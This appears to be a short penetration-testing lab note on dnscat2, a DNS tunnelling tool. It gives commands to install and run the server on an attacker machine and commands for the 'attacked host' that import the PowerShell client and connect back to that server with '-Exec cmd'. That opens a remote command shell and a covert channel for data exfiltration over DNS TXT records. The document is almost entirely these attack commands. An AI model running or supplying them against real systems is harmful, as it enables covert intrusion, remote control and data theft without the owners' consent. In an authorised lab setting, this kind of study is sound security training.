DNS Cat2 allows for data exiltration and interactive shell inside TXT records withing DNS proto.
To install:
git clone <https://github.com/iagox86/dnscat2.git>
cd dnscat2/server/
sudo gem install bundler
sudo bundle install
To run:
ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
On the attacked host:
# Clone (upload skipped)
git clone <https://github.com/lukebaggett/dnscat2-powershell.git>
# Import
Import-Module .\\dnscat2.ps1
# Run
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd